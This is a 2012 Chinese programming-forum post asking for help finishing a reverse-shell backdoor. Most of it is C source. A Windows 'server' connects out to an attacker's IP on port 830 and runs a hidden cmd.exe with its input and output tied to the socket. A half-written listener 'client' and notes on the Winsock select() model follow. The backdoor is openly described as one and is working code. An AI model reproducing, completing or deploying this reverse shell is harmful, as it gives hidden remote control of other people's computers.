鱼C论坛

 找回密码
 立即注册
查看: 3085|回复: 0

关于反弹后门

[复制链接]
发表于 2012-7-31 19:50:34 | 显示全部楼层 |阅读模式
50鱼币
/*
以下是反弹后门,服务端如下://Server:
我想自己做客户端来接收,可是就差那么一点点无法完成。
搜索后也没有找到答案;希望这里懂者解答!
提示一下:懂者,可直接告知;
请不要让我花很长的时间来猜“你的心里提示”,我讨厌“犹抱琵琶半遮面”者!
*/


//Server:
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Ws2_32")
int main()
{
        WSADATA ws;
        SOCKET s;
        int ret;

        //初始化wsa
        WSAStartup(MAKEWORD(2,2),&ws);

        //建立Socket
        s=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

        //连接对方830端口
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons(830);
        //socket()→connet(攻击机ip,端口)→send/recv()→closesocket()
        server.sin_addr.s_addr=inet_addr("127.0.0.1");

        //反向连接!        //客户端连接服务端监听的端口和IP。
        connect(s,(struct sockaddr *)&server,sizeof(server) );
   
        STARTUPINFO si;
        ZeroMemory(&si,sizeof(si));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        //CMD的输入输出句柄,都用Socket来替换
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
        char cmdLine[] = "cmd.exe /k";
        PROCESS_INFORMATION ProcessInformation;
        //建立进程
        ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
        return 0;
}


//未完成的反弹客户端代码:请在VC中试!
//Client:
#include <Winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"ws2_32.lib")
#define InternetAddr "127.0.0.1"  
#define iPort 830

int main()
{
        WSADATA wsa;
        WSAStartup(MAKEWORD(2,2), &wsa);       
        SOCKET fds = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        sockaddr_in s;
        s.sin_family = AF_INET;
        s.sin_port = htons(iPort);
        s.sin_addr.s_addr = inet_addr(InternetAddr);       
        int ret = bind(fds, (sockaddr*)&s, sizeof(s));       
        ret = listen(fds, 4);
        printf("正在监听...");
       
        int n;
        SOCKET c;
        fd_set f;
        timeval tv;
        while(1)
        {
                FD_ZERO(&f);  //初始化fd_set
                FD_SET(fds, &f);  //分配套接字句柄到相应的fd_set
                tv.tv_sec = 20;
                tv.tv_usec = 0;
                select(0, &f, NULL, NULL, &tv);
                n = sizeof(s);
                if (FD_ISSET(fds, &f))
                {
                        c = accept(fds,( sockaddr*) &s, &n);
                        printf("采用Select模型,客户端开始连接\n");
                        break;
                }
                else
                {
                        printf("没有客户端连接,我可以做些别的事情\n");
                }
        }

        char buffer[128];
        ZeroMemory(buffer, 128);
        ret = recv(c,buffer,128,0);
        printf("你打印的是:%s\n",buffer);

        closesocket(c);   // 关闭进程句柄
        WSACleanup();     //关闭连接卸载ws2_32.dll
        return 0;
}


/*
  Select模型
  int select(
  int nfds,           //忽略
  fd_set FAR * readfds,   //用来检测可读
  fd_set FAR * writefds,  //用来检测可写
  fd_set FAR * exceptfds,  //检查错误
  const struct timeval FAR * timeout  //指定函数等待的最长时间
  );
  第一个参数nfds,将会被系统忽略,包括这个参数只是为了和Berkeley Socket应用程序兼容.
  你将会注意到有三个fd_set结构的参数,一个用来检测可读,一个用来检测可写,第三个参数是带外数据(TCP紧急数据),timeout参数为超时时间.
  
        1、理解struct fd_set(一个套接字集合)
        struct fd_set可以理解为一个集合,这个集合中存放的是文件描述符(filedescriptor),即文件句柄,这可以是我们所说的普通意义的文件,当然Unix下任何设备、管道、FIFO等都是文件形式,全部包括在内,所以毫无疑问一个socket就是一个文件,socket句柄就是一个文件描述符。
       
          2、使用struct fd_set
          FD_ZERO(fd_set * set); //清空集合
          FD_SET(s,fd_set * set); //添加套接字集合
          FD_CLR(s ,fd_set* set);  //从set移除套接字s
          FD_ISSET(s ,fd_set* set);//检查集合中s是否set的成员
          
                3.
                struct timeval {
        long    tv_sec;  //秒      
        long    tv_usec; //微秒     
                };
*/

小甲鱼最新课程 -> https://ilovefishc.com
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-12-21 16:59

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表